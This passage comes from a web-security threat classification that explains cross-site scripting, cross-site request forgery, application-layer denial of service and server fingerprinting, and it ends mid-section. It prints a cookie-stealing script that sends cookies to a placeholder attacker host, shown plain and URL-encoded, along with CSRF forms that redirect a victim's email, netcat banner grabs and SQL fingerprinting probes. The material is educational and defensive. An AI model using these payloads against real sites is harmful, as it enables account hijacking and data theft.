Cross-site Scripting (XSS) is an attack technique that involves echoing attacker-supplied code into a user's browser instance. A browser instance can be a standard web browser client, or a browser object embedded in a software product such as the browser within WinAmp, an RSS reader, or an email client. The code itself is usually written in HTML/JavaScript, but may also extend to VBScript, ActiveX, Java, Flash, or any other browser-supported technology.

When an attacker gets a user's browser to execute his/her code, the code will run within the security context (or zone) of the hosting web site. With this level of privilege, the code has the ability to read, modify and transmit any sensitive data accessible by the browser. A Cross-site Scripted user could have his/her account hijacked (cookie theft), their browser redirected to another location, or possibly shown fraudulent content delivered by the web site they are visiting. Cross-site Scripting attacks essentially compromise the trust relationship between a user and the web site. Applications utilizing browser object instances which load content from the file system may execute code under the local machine zone allowing for system compromise.

There are three types of Cross-site Scripting attacks: non-persistent, persistent and DOM-based.

Non-persistent attacks and DOM-based attacks require a user to either visit a specially crafted link laced with malicious code, or visit a malicious web page containing a web form, which when posted to the vulnerable site, will mount the attack. Using a malicious form will oftentimes take place when the vulnerable resource only accepts HTTP POST requests. In such a case, the form can be submitted automatically, without the victim's knowledge (e.g. by using JavaScript). Upon clicking on the malicious link or submitting the malicious form, the XSS payload will get echoed back and will get interpreted by the user's browser and execute. Another technique to send almost arbitrary requests (GET and POST) is by using an embedded client, such as Adobe Flash.

Persistent attacks occur when the malicious code is submitted to a web site where it's stored for a period of time. Examples of an attacker's favorite targets often include message board posts, web mail messages, and web chat software. The unsuspecting user is not required to interact with any additional site/link (e.g. an attacker site or a malicious link sent via email), just simply view the web page containing the code.

PERSISTENT ATTACK EXAMPLE

Many web sites host bulletin boards where registered users may post messages which are stored in a database of some kind. A registered user is commonly tracked using a session ID cookie authorizing them to post. If an attacker were to post a message containing a specially crafted JavaScript, a user reading this message could have their cookies and their account compromised.

Cookie Stealing Code Snippet:

```
<SCRIPT>
document.location= 'http://attackerhost.example/cgi-
bin/cookiesteal.cgi?'+document.cookie
</SCRIPT>
```

Due to the fact that the attack payload is stored on the server side, this form of xss attack is persistent.

NON-PERSISTENT ATTACK EXAMPLE

Many web portals offer a personalized view of a web site and may greet a logged in user with *"Welcome, <your username>"*. Sometimes the data referencing a logged in user is stored within the query string of a URL and echoed to the screen

Portal URL example:

```
http://portal.example/index.php?sessionid=12312312&username=Joe
```

In the example above we see that the username "Joe" is stored in the URL. The resulting web page displays a "Welcome, Joe" message. If an attacker were to modify the username field in the URL, inserting a cookie-stealing JavaScript, it would possible to gain control of the user's account if they managed to get the victim to visit their URL.

A large percentage of people will be suspicious if they see JavaScript embedded in a URL, so most of the time an attacker will URL Encode their malicious payload similar to the example below.

URL Encoded example of Cookie Stealing URL:

```
http://portal.example/index.php?sessionid=12312312&
username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65
%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70
%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65
%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F
%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64
%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73
%63%72%69%70%74%3E
```

Decoded example of Cookie Stealing URL:

```
http://portal.example/index.php?sessionid=12312312&
username=<script>document.location='http://attackerhost.example/cgi-
bin/cookiesteal.cgi?'+document.cookie</script>
```

DOM-BASED ATTACK EXAMPLE

Unlike the previous two flavors, DOM based XSS does not require the web server to receive the malicious XSS payload. Instead, in a DOM-based XSS, the attacker abuses runtime embedding of attacker data in the client side, from within a page served from the web server.

Consider an HTML web page which embeds user-supplied content at client side, i.e. at the user's browser. This in fact a well established practice. For example, an HTML page can have JavaScript code that embeds the location/URL of the page into the page. This URL may be partly controlled by the attacker.

In such case, an attacker can force the client (browser) to render the page with parts of the DOM (the location and/or the referrer) controlled by the attacker. When the page is rendered and the data is processed by the page (typically by a client side HTML-embedded script such as JavaScript), the page's code may insecurely embed the data in the page itself, thus delivering the cross-site scripting payload.

For example:

Assume that the URL

```
http://www.vulnerable.site/welcome.html
```

contains the following content:

```
<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
Welcome to our system
…</HTML>
```

This page will use the value from the "name" parameter in the following manner.

```
http://www.vulnerable.site/welcome.html?name=Joe
```

In this example the JavaScript code embeds part of document.URL (the page location) into the page, without any consideration for security. An attacker can abuse this by luring the client to click on a link such as

```
http://www.vulnerable.site/welcome.html?name=
<script>alert(document.cookie)</script>
```

which will embed the malicious JavaScript payload into the page at runtime.

There are several DOM objects which can serve as a vehicle to such attack:

- The path/query part of the location/URL object, in which case the server does receive the payload as part of the URL section of the HTTP request.
- The username and/or password part of the location/URL object (http://username:password@host/...), in which case the server receives the payload, Base64-encoded, in the Authorization header.
- The fragment part of the location/URL object, in which case the server does not receive the payload at all (!), because the browser typically does not send this part of the URL.
- The referrer object, in which case the server receives the payload in the Referer header.

It is quite possible that other DOM objects can be used too, particularly if the DOM is extended. At any case, while in some vehicles, the server does receive the payload, it is important to note that the server does not necessarily embed the payload into the response page – the essence of DOM based XSS is that the client-side code does the embedding.

The DOM-based XSS attack concept is extended into the realm of non-JS client side code, such as Flash. A Flash object is invoked in the context of a particular site at the client side, and some "environment" information is made available to it. This "environment" enables the Flash object to query the browser DOM in which it is embedded. For example, the DOM location object can be retrieved via ExternalInterface.call("window.document.location.href.toString"). Alternatively, DOM information such as the Flash movie URL can be retrieved e.g. through _url (see http://www.adobe.com/support/flash/action_scripts/actionscript_dictionary/actionscript_dictionary579.html). A Flash (SWF) object may contain insecure code that does not validate user-controlled "environment" values, thus effectively becoming vulnerable to the same kind of attack as a JS code that does not validate its user-controlled DOM objects. For real-world examples, see http://docs.google.com/View?docid=ajfxntc4dmsq_14dt57ssdw

CROSS-SITE SCRIPTING WORMS AND MALWARE

The best example of a Web Worm is the Samy Worm, the first major worm of its kind, spread by exploiting a persistent Cross-Site Scripting vulnerability in MySpace.com's personal profile web page template. In October of 2005, Samy Kamkar the worms author, updated h is profile Web page with the first copy of the JavaScript exploit code. MySpace was performing some input filtering blacklists to pr event XSS exploits, but they were far from perfect. Using some filter-bypassing techniques, Samy was successful in uploading his code.

When an authenticated MySpace user viewed Samy's profile, the worm payload using XHR, forced the user's web browser to add Samy as a friend, include Samy as the user's hero ("but most of all, samy is my hero") , and alter the user's profile with a copy of the malware code. Starting with a single visitor the Samy Worm infection grew exponentially to over 1,000,000 infected user profiles in under 24 hours. MySpace was forced to shut down its website in order to stop the infection, fix the vulnerability, and perform clean up.

REFERENCES

"CERT" Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests"

[1] http://www.cert.org/advisories/CA-2000-02.html

"The Cross Site Scripting FAQ" – CGISecurity.com

[2] http://www.cgisecurity.com/xss-faq.html

"Cross Site Scripting Info"

[3] http://httpd.apache.org/info/css-security/

"24 Character entity references in HTML 4"

[4] http://www.w3.org/TR/html4/sgml/entities.html

"Understanding Malicious Content Mitigation for Web Developers"

[5] http://www.cert.org/tech_tips/malicious_code_mitigation.html

"Cross-site Scripting: Are your web applications vulnerable?", By Kevin Spett – SPI Dynamics

[6] http://www.spidynamics.com/whitepapers/SPIcross-sitescripting.pdf

"Cross-site Scripting Explained", By Amit Klein

[7] http://crypto.stanford.edu/cs155/papers/CSS.pdf

"HTML Code Injection and Cross-site Scripting", By Gunter Ollmann

[8] http://www.technicalinfo.net/papers/CSS.html

"DOM Based Cross Site Scripting or XSS of the Third Kind" By Amit Klein (WASC article)

[9] http://www.webappsec.org/projects/articles/071105.shtml

"Forging HTTP request headers with Flash" By Amit Klein

[10] http://www.webappsec.org/lists/websecurity/archive/2006-07/msg00069.html

"Cross-Site Scripting Worm Hits MySpace BetaNews, October 13, 2005"

[11] http://www.betanews.com/article/CrossSite_Scripting_Worm_Hits_MySpace/1129232391

"Technical explanation of the MySpace worm"

[12] http://namb.la/popular/tech.html

"Samy (XSS) Wikipedia Entry"

[13] http://en.wikipedia.org/wiki/Samy_(XSS)

"XMLHttpRequest Wikipedia Entry"

[14] http://en.wikipedia.org/wiki/XMLHttpRequest

"Feed Injection In Web 2.0: Hacking RSS and Atom Feed Implementations" By Robert Auger

[15] http://www.cgisecurity.com/papers/HackingFeeds.pdf

"About URL Security Zones, Microsoft"

[16] http://msdn.microsoft.com/en-us/library/ms537183.aspx

Failure to Preserve Web Page Structure ('Cross-site Scripting')

[17] http://cwe.mitre.org/data/definitions/79.html

CROSS-SITE REQUEST FORGERY (WASC-09)

A cross-site request forgery is an attack that involves forcing a victim to send an HTTP request to a target destination without their knowledge or intent in order to perform an action as the victim. The underlying cause is application functionality using predictable URL/form actions in a repeatable way. The nature of the attack is that CSRF exploits the trust that a web site has for a user. By contrast, cross-site scripting (XSS) [9] exploits the trust that a user has for a web site. Like XSS, CSRF attacks are not necessarily cross-site, but they can be. Cross-site request forgery is also known as CSRF, XSRF, one-click attack, session riding, confused deputy, and sea surf.

CSRF attacks are effective in a number of situations, including:

- The victim has an active session on the target site.
- The victim is authenticated via HTTP auth on the target site.
- The victim is on the same local network as the target site.

CSRF has primarily been used to perform an action against a target site using the victim's privileges, but recent techniques have been discovered [5] to disclose information by gaining access to the response. The risk of information disclosure is dramatically increased when the target site is vulnerable to XSS, because XSS can be used as a platform for CSRF, allowing the attack to operate within the bounds of the same-origin policy.

EXAMPLE

In order to forge a HTTP request, an attacker typically profiles the target site first, either by reviewing the HTML source or by inspecting the HTTP traffic. This helps the attacker determine the format of a legitimate request; the forged request is meant to mimic a legitimate request as closely as possible.

Consider a web site that allows users to configure their web-based email account to forward all incoming email to an alternative address:

```
<form action="/account/edit" method="post">
<p>Email: <input type="text" name="email" /></p>
<p><input type="submit" /></p>
</form>
```

An attacker can deduce from viewing this HTML source or by using this form that a legitimate request will have a format similar to the following:

```
POST /account/edit HTTP/1.1
Host: example.org
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Cookie: PHPSESSID=1234

chris%40example.tld
```

If an attacker could forge such a request from another user, it's possible that the attacker could begin receiving all of the victim's email. A popular technique is to use JavaScript to submit a form that consists of hidden fields. If the target of the form is a hidden iframe, the response is hidden from view. The following example demonstrates this:

```
<iframe style="width: 0px; height: 0px; visibility: hidden"
name="hidden"></iframe>
<form name="csrf" action="http://example.org/account/edit" method="post"
target="hidden">
<input type="hidden" name="email" value="attacker@email.tld" />
<script>document.csrf.submit();</script>
```

This malicious payload can be hosted on another web site the victim visits, or on the same site. Popular approaches for deploying malicious payloads include via banner ads, via cross-site scripting flaws, or via other means.

If the intent is to forge a GET request, a popular technique is to use an embedded resource such as an image as the malicious payload:

```
<img height="0" width="0"
src="http://example.org/account/edit?email=attacker@email.tld" />
```

The key to understanding CSRF is to realize that only the request matters, and there are a variety of techniques that can be used to forge requests.

PUBLIC INCIDENTS

Digg Exploit, 06 Jun 2006, Anonymous,

http://4diggers.blogspot.com/

Google Mail Exploit, 01 Jan 2007, Alex Bailey,

http://cyber-knowledge.net/blog/2007/01/01/gmail-vulnerable-to-contact-list-hijacking/

Amazon Exploit, 15 Mar 2007, Chris Shiflett,

http://shiflett.org/blog/2007/mar/my-amazon-anniversary

REFERENCES

"Cross Site Reference Forgery: An introduction to a common web application weakness"

[1] http://www.isecpartners.com/documents/XSRF_Paper.pdf

"Cross-Site Request Forgeries", Peter Watkins

[2] http://tux.org/~peterw/csrf.txt

"Security Corner: Cross-Site Request Forgeries", Chris Shiflett

[3] http://shiflett.org/articles/cross-site-request-forgeries

"The Cross-Site Request Forgery FAQ", Robert Auger

[4] http://www.cgisecurity.com/articles/csrf-faq.shtml

"JavaScript Hijacking", Brian Chess, et al.

[5] http://fortifysoftware.com/servlet/downloads/public/JavaScript_Hijacking.pdf

"Cross-Site Request Forgery: Looking at Devices", Daniel Weber

[6] http://labs.calyptix.com/csrf-tracking.php

"Cross-Site Request Forgery (CSRF)", Web Hacking Incidents Database

[7] http://webappsec.org/projects/whid/byclass_class_attack_method_value_cross_site_request_forgery_(csrf).shtml

"Cross-Site Request Forgeries: Exploitation and Prevention", William Zeller and Edward Felten

[8] http://freedom-to-tinker.com/sites/default/files/csrf.pdf

Cross-Site Scripting Section

[9] http://projects.webappsec.org/Cross-Site-Scripting

"Cross-Site Request Forgery", Wikipedia

[10] http://en.wikipedia.org/wiki/Cross-site_request_forgery

Cross-Site Request Forgery (CSRF)

[11] http://cwe.mitre.org/data/definitions/352.html

DENIAL OF SERVICE (WASC-10)

Denial of Service (DoS) is an attack technique with the intent of preventing a web site from serving normal user activity. DoS attacks, which are easily normally applied to the network layer, are also possible at the application layer. These malicious attacks can succeed by starving a system of critical resources, vulnerability exploit, or abuse of functionality.

Many times DoS attacks will attempt to consume all of a web site's available system resources such as: CPU, memory, disk space etc. When any one of these critical resources reach full utilization, the web site will normally be inaccessible.

As today's web application environments include a web server, database server and an authentication server, DoS at the application layer may target each of these independent components. Unlike DoS at the network layer, where a large number of connection attempts are required, DoS at the application layer is a much simpler task to perform.

EXAMPLE

Assume a Health-Care web site that generates a report with medical history. For each report request, the web site queries the database to fetch all records matching a single social security number. Given that hundreds of thousands of records are stored in the database (for all users), the user will need to wait three minutes to get their medical history report. During the three minutes of time, the database server's CPU reaches 60% utilization while searching for matching records.

A common application layer DoS attack will send 10 simultaneous requests asking to generate a medical history report. These requests will most likely put the web site under a DoS-condition as the database server's CPU will reach 100% utilization. At this point the system will likely be inaccessible to normal user activity.

DOS TARGETING A SPECIFIC USER

An intruder will repeatedly attempt to login to a web site as some user, purposely doing so with an invalid password. This process will eventually lock out the user.

DOS TARGETING THE DATABASE SERVER

An intruder will use SQL injection techniques to modify the database so that the system becomes unusable (e.g., deleting all data, deleting all usernames etc.)

DOS TARGETING THE WEB SERVER

An intruder will use Buffer Overflow techniques to send a specially crafted request that will crashes the web server process and the system will normally be inaccessible to normal user activity.

REFERENCES

Denial of Service Attack, Wikipedia

[1] http://en.wikipedia.org/wiki/Denial-of-service_attack

Application Denial of Service, OWASP

[2] http://www.owasp.org/index.php/Application_Denial_of_Service

FINGERPRINTING (WASC-45)

The most common methodology for attackers is to first footprint the target's web presence and enumerate as much information as possible. With this information, the attacker may develop an accurate attack scenario, which will effectively exploit a vulnerability in the software type/version being utilized by the target host.

Multi-tier fingerprinting is similar to its predecessor, TCP/IP Fingerprinting (with a scanner such as Nmap) except that it is focused on the Application Layer of the OSI model instead of the Transport Layer. The theory behind this fingerprinting is to create an accurate profile of the target's platform, web application software technology, backend database version, configurations and possibly even their network architecture/topology.

BACKGROUND

Accurately identifying this type of information for possible attack vectors is vitally important since many security vulnerabilities (SQL injections and buffer overflows, et al) are extremely dependent on a specific software vendor and version number. Additionally, correctly identifying the software versions and choosing an appropriate exploit reduces the overall "noise" of the attack while increasing its effectiveness. It is for this reason that a web server/application, which obviously identifies itself, is inviting trouble.

FINGERPRINTING METHODOLOGY

We will outline fingerprinting techniques for the following categories:

- Identify Web Architecture/Topology
- Identify Web Server Version
- Identify Web Application Software

- Identify Backend Database Version
- Identify Web Services Technologies

IDENTIFY WEB ARCHITECTURE/TOPOLOGY

It is advantageous to an attacker to accurately identify any intermediary web-based systems such as proxy servers, load-balancers or web application firewalls. With this information, an attacker may be able to alter their attack payload to attempt to bypass the security filtering of these systems or they may even become targets themselves (such as with HTTP Response Splitting attacks).

IDENTIFY INTERMEDIATE AGENTS

There are different approaches to the typical web server architecture. Surrogate or reverse proxy accelerators are gateways co-located with an origin server. They delegate the authority to operate on behalf of one or more origin server, and typically working in close co-operation with them. Responses are typically delivered from an internal cache. http://www.ietf.org/rfc/rfc3040.txt

REVIEW THE VIA BANNER INFORMATION

The Via general-header field must be used by gateways and proxies to indicate the intermediate protocols and recipients between the user agent and the server on requests, and between the origin server and the client on responses.

Proxies and gateways used as a portal through a network firewall should not, by default, forward the names and ports of hosts within the firewall region.

Note: Comments may be used in the Via header field to identify the software of the recipient proxy or gateway, analogous to the User-Agent and Server header fields. However, all comments in the Via field are optional and may be removed by any recipient prior to forwarding the message.

http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html

In the following example, we are using netcat to connect to the web-surrogated website. Notice the "Via:" token portion of the HTTP Response Headers reveals the exact version of gateway server software being used:

```
$ nc www.surrogated.com 80
GET / HTTP/1.0

HTTP/1.0 400 Bad Request
Server: Squid/2.5-DEVEL
Mime-Version: 1.0
Date: Wed, 14 Mar 2008 09:18:26 GMT
Content-Type: text/html
Via: 1.0 proxy.surrogated.com:65535 (Squid/2.5-Devel)
Proxy-Connection: close
```

IDENTIFY WEB SERVER VERSION

Correctly identifying the web server version can be accomplished through the following steps:

1. Reviewing the Server banner Information
2. Implementation differences of the HTTP Protocol
3. Error Pages

REVIEW THE SERVER BANNER INFORMATION

The quickest and easiest way for attackers to identify the target web server software is to simply review the information returned by the target webserver in the "Server:" token. In fact, the HTTP RFC 2616 discusses this exact issue and urges web administrators to take steps to hide the version of software being displayed by the "Server" response header:

```
Note: Revealing the specific software version of the server may allow the server
machine to become more vulnerable to attacks against software that is known to
contain security holes. Server implementers are encouraged to make this field a
configurable option.
```

In the following example, we are using netcat to connect to the Microsoft website. Notice the "Server:" token portion of the HTTP Response Headers reveals the exact version of web server software being used:

```
$ nc www.microsoft.com 80
GET / HTTP/1.0

HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Location: /en/us/default.aspx
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo C
NT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Sat, 14 Jul 2007 15:22:26 GMT
Connection: keep-alive
Content-Length: 136
```

Most current web servers now have functionality that will allow Administrators to alter this information. It is for this reason that attackers must use these other techniques to confirm the platform information.

IMPLEMENTATION DIFFERENCES OF THE HTTP PROTOCOL [1]

LEXICAL

The lexical characteristics category covers variations in the actual words/phrases used, capitalization and punctuation displayed by the HTTP response headers.

RESPONSE CODE MESSAGE

For the error code 404, Apache reports "Not Found" whereas Microsoft IIS/5.0 reports "Object Not Found".

Apache 1.3.29

```
# nc target1.com 80
HEAD /non-existent-file.txt HTTP/1.0

HTTP/1.1 404 Not Found
Date: Mon, 07 Jun 2004 14:31:03 GMT
Server: Apache/1.3.29 (Unix) mod_perl/1.29
Connection: close
Content-Type: text/html; charset=iso-8859-1
```

Microsoft-IIS/5.0

```
# nc target2.com 80
HEAD /non-existent-file.txt HTTP/1.0

HTTP/1.1 404 Object Not Found
Server: Microsoft-IIS/5.0
Date: Mon, 07 Jun 2004 14:41:22 GMT
Content-Length: 461
Content-Type: text/html
```

HEADER WORDING

The header "Content-Length" is returned vs. "Content-length".

Netscape-Enterprise/6.0

```
# nc target1.com 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Server: Netscape-Enterprise/6.0
Date: Mon, 07 Jun 2004 14:55:25 GMT
Content-length: 26248
Content-type: text/html
Accept-ranges: bytes
```

Microsoft-IIS/5.0

```
# nc target2.com 80
HEAD / HTTP/1.0

HTTP/1.1 404 Object Not Found
Server: Microsoft-IIS/5.0
Date: Mon, 07 Jun 2004 15:22:54 GMT
Content-Length: 461
Content-Type: text/html
```

SYNTACTIC

Per the HTTP RFC, all web communications are required to have a predefined structure and composition so that both parties can understand each other. Variations in the HTTP response header ordering and format still exist.

HEADER ORDERING

Apache servers consistently place the "Date" header before the "Server" header while Microsoft-IIS has these headers in the reverse order [2].

Apache 1.3.29

```
# nc target1.com 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Mon, 07 Jun 2004 15:21:24 GMT
Server: Apache/1.3.29 (Unix) mod_perl/1.29
...
```

Microsoft-IIS/4.0

```
# nc target2.com 80
HEAD / HTTP/1.0

HTTP/1.1 404 Object Not Found
Server: Microsoft-IIS/4.0
Date: Mon, 07 Jun 2004 15:22:54 GMT
...
```

LIST ORDERING

When an OPTIONS method is sent in an HTTP request, a list of allowed methods for the given URI are returned in an "Allow" header. Apache only returns the "Allow" header, while IIS also includes a "Public" header. [3]

Apache 1.3.29

```
# nc target1.com 80
OPTIONS * HTTP/1.0

HTTP/1.1 200 OK
Date: Mon, 07 Jun 2004 16:21:58 GMT
Server: Apache/1.3.29 (Unix) mod_perl/1.29
Content-Length: 0
Allow: GET, HEAD, OPTIONS, TRACE
Connection: close
```

Microsoft-IIS/5.0

```
# nc target2.com 80
OPTIONS * HTTP/1.0

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Mon, 7 Jun 2004 12:21:38 GMT
Content-Length: 0
Accept-Ranges: bytes
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL,
PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND,
PROPPATCH, LOCK, UNLOCK, SEARCH
Cache-Control: private
```

SEMANTIC

Besides the words and phrases that are returned in the HTTP Response, there are obvious differences in how web servers interpret both well- formed and abnormal/non compliant requests.

PRESENCE OF SPECIFIC HEADERS

A server has a choice of headers to include in a response. While some headers are required by the specification, most headers (e.g. Etag) are optional. In the examples below, the Apache server's response headers include additional entries such as: Etag, Vary, Expires, et cetera, while the IIS server does not.

Apache 1.3.29

```
# nc target1.com 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Mon, 07 Jun 2004 15:21:24 GMT
Server: Apache/1.3.29 (Unix) mod_perl/1.29
Content-Location: index.html.en
Vary: negotiate,accept-language,accept-charset
TCN: choice
Last-Modified: Fri, 04 May 2001 00:00:38 GMT
Etag: "4de14-5b0-3af1f126;40a4ed5d"
Accept-Ranges: bytes
Content-Length: 1456
Connection: close
Content-Type: text/html
Content-Language: en
Expires: Mon, 07 Jun 2004 15:21:24 GMT
```

Microsoft-IIS/5.0

```
# nc target2.com 80
HEAD / HTTP/1.0

HTTP/1.1 404 Object Not Found
Server: Microsoft-IIS/5.0
Date: Mon, 07 Jun 2004 15:22:54 GMT
Content-Length: 461
Content-Type: text/html
```

RESPONSE CODES FOR ABNORMAL REQUESTS

Even though the same requests are made to the target web servers, it is possible for the interpretation of the request to be different and therefore different response codes generated. A perfect example of this semantic difference in interpretation is the "Light Fingerprinting" check which the Whisker scanner utilizes. The section of Perl code below, taken from Whisker 2.1's main.test file, runs two tests to determine if the target web server is in fact an Apache server, regardless of what the banner might report. The first request is a "GET //" and if the HTTP Status Code is a 200, then the next request is sent. The second request is "GET/%2f", which is URI Encoded – and translates to "GET //". This time Apache returns a 404 – Not Found error code. Other web servers – IIS – do not return the same status codes for these requests.

```
My $Aflag=0;
$req{whisker}->{uri}='//';
if(!_do_request(\%req,\%G_RESP)){
        _d_response(\%G_RESP);
        if($G_RESP{whisker}->{code}==200){
                $req{whisker}->{uri}='/%2f';
                if(!_do_request(\%req,\%G_RESP)){
                        _d_response(\%G_RESP);
                        $Aflag++ if($G_RESP{whisker}->{code}==404);
}       }       }
m_re_banner('Apache',$Aflag);
```

After running Whisker against a target website, it reports, based on the pre-tests that the web server may in fact be an Apache server. Below is the example Whisker report section:

```
Title: Server banner
Id: 100
Severity: Informational
The server returned the following banner:
Microsoft-IIS/5.0
```

```
Title: Alternate server type
Id: 103
Severity: Informational
Testing has identified the server might be an 'Apache' server. This
Change could be due to the server not correctly identifying itself (the
Admins changed the banner).  Tests will now check for this server type
as well as the previously identified server types.
```

Not only does this alert the attacker that the web server administrators are savvy enough to alter the Server banner info, but Whisker will also add in all of the Apache tests to its scan which would increase its accuracy.

IDENTIFY WEB APPLICATION SOFTWARE [4]

After the web server platform software has been identified, the next step is to confirm what web application technologies are being used such as ASP, .NET, PHP and Java. There are many methods that can be used to identify the specific language's usage and most of them revolve around inspecting the URL components.

FILE EXTENSIONS

The first portion of the URL to inspect would be the file extensions used. The following list maps the most common file extensions to their corresponding scripting language and web server platform.

Extension	Technology	Server Platform
.pl	Perl CGI Script	Generic; usually web servers
.asp	Active Server Pages	Microsoft IIS

```
.aspx          ASP+                 Microsoft .NET
.php           PHP script           Generic; usually interfaced with Apache
.cfm           ColdFusion           Generic; usually interfaced with Microsoft IIS
.nsf           Lotus Domino         Lotus Domino server
.jsp           Java Server Page     Various platforms
.do            Java Struts          Various platforms
```

TECHNOLOGY BASED RESPONSE HEADERS

There are many HTTP Response Headers that are unique to the web application software being used. For example, the following example shows that the target web server is running ASP .NET and even provides the exact version information in the `X-AspNet-Version:` and `X-Powered-By:` headers:

```
$ nc www.microsoft.com 80
GET / HTTP/1.0

HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Location: /en/us/default.aspx
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP=”ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo
CNT COM INT NAV ONL PHY PRE PUR UNI”
X-Powered-By: ASP.NET
Date: Sat, 14 Jul 2007 15:22:26 GMT
Connection: keep-alive
Content-Length: 136
```

EXAMINE COOKIES

The naming conventions used in Cookie headers can often reveal the type of web application software being used:

Server	Cookie
Apache	Apache=202.86.136.115.308631021850797729
IIS	ASPSESSIONIDGGQGGCVC=KELHFOFDIHOIPLHJEBECNDME
ATG Dynamo	JSESSIONID=H4TQ0BVCTCDNZQFIAE0SFFOAVAAUIIV0
IBMNet.Data	SESSION_ID=307823,wFXBDMkiwgAnRyij+iK1fg87gsw8e/TUDq2n4VZKc+UyjEZq
ColdFusion	CFID=573208, CFTOKEN=86241965

REVIEW ERROR PAGES [5]

Not only are the error pages generated by the various web applications unique in their text and formatting but the default configurations also often times reveal exact version information.

```
Server Error in ‘/’ Application.
SQL Server does not exist or access denied.
```

```
Description: An unhandled exception occurred during the execution of the current
web request.
Please review the stack trace for more information about the error and where it
originated in
the code.
Exception Details: System.Data.SqlClient.SqlException: SQL Server does not exist
or access denied.

Source Error:
An unhandled exception was generated during the execution of the current web
request. Information
regarding the origin and location of the exception can be identified using the
exception stack trace below.

Stack Trace:
[SqlException: SQL Server does not exist or access denied.]
  System.Data.SqlClient.ConnectionPool.GetConnection(Boolean& isInTransaction)
+472

System.Data.SqlClient.SqlConnectionPoolManager.GetPooledConnection(SqlConnectionS
tring options,
  Boolean& isInTransaction) +372
  System.Data.SqlClient.SqlConnection.Open() +386
  optCorp.Global1.Application_Error(Object sender, EventArgs e)
  System.EventHandler.Invoke(Object sender, EventArgs e) +0
  System.Web.HttpApplication.RaiseOnError() +157

--------------------------------------------------------------------------------
Version Information: Microsoft .NET Framework Version:1.1.4322.2300; ASP.NET
Version:1.1.4322.2300
```

IDENTIFY BACKEND DATABASE VERSION

Determining the database engine type is fundamental if an attacker is to attempt to successfully execute an SQL Injection attack. Most times this will be easy if the web application provides detailed error messages (as shown in the previous section). For example, ODBC will normally display the database type as part of the driver information when reporting an error.

In those cases where the error message is not an ODBC message that can also be useful. First, you know you are most probably not on a Windows box. By knowing what operating system and web server we are connecting to it is easier sometimes to deduce the possible database. Using specific characters, commands, stored procedures and syntax we can know with much more certainty what SQL database we have injected into.

DATABASE CAPABILITY DIFFERENCES [6]

The differences from one database to another will also determine what we can or cannot do. To notice, MySQL is the only one that does not support subqueries in its current release. Nevertheless, beta version 4.1 has implemented subqueries and

will soon be released. The UNION statement was implemented in MySQL version 4.0. Batch queries are not very common and stored procedures are only available in MS SQL and Oracle. The more complete, flexible and OS integrated a database is, the more potential avenues of attack.

The following table shows some capability differences that can be used to determine what db is in use if there is no other easier way. By trying out conditions using the 'and condition and '1'='1 statement we can determine what type of database we have connected to.

Capabilities	MSSQL/T-SQL	MySQL	Access	OraclePL/ SQL	DB2	PostgresPL/ pgSQL
Concatenate Strings	''+''	concat("","")	""&""	''||''	""+""	''||''
Null replace	Isnull()	Ifnull()	Iff(Isnull())	Ifnull()	Ifnull()	COALESCE()
Position	CHARINDEX	LOCATE()	InStr()	InStr()	InStr()	TEXTPOS()
Op Sys Interaction	xp_cmdshell	select into outfile/ dumpfile	#date#	utf_file	import from/ export to	Call

By adding a simple string concatenation to the sql query, we determine the database type. Text strings can even be added before and after the single or double quote. For example, by including the string te'||'st in a query, a valid oracle query should be executed using the word "test" as input. Database specific functions can then be concatenated within the statement to further determine the database type.

More database differences (based on capabilities) are shown below and each of these could be used in sql testing probes to determine which DB is in use:

Capabilities	MSSQL	MySQL	Access	Oracle	DB2	Postgres
UNION	Y	Y	Y	Y	Y	Y
Subselects	Y	N 4.0 Y 4.1	N	Y	Y	Y
Batch Queries	Y	N*	N	N	N	Y
Default stored procedures	Many	N	N	Many	N	N
Linking DBs	Y	Y	N	Y	Y	N
Cast	Y	N	N	N	Y	Y

IDENTIFY WEB SERVICES TECHNOLOGY [7]

Web services fingerprinting and enumeration begins with inspecting the target Web Services Definition Language or WSDL. A WSDL file is a major source of information for an attacker. Examining a WSDL description provides critical information like methods, input and output parameters. It is important to understand the structure of a WSDL file, based on which one should be able to enumerate web services. The

outcome of this process is a web services profile or matrix. Once this is done, attack vectors for web services can be defined.

WS FINGERPRINTING USING EXTENSIONS

As we mentioned in a previous section, it possible to infer the technology being used by the file extensions. As an example, let us consider the following two discovery URLs:

- http://example.com/customer/getinfo***.asmx***
- http://example.com/supplier/sendinfo***.jws***

ASMX/JWS EXTENSIONS

This is part of .Net/J2EE frameworks resource for web services and web services can be developed/deployed using this type of resource. Hence, by just glancing at the set of characters containing the .asmx extension we can fingerprint this resource to .Net.

WSDL

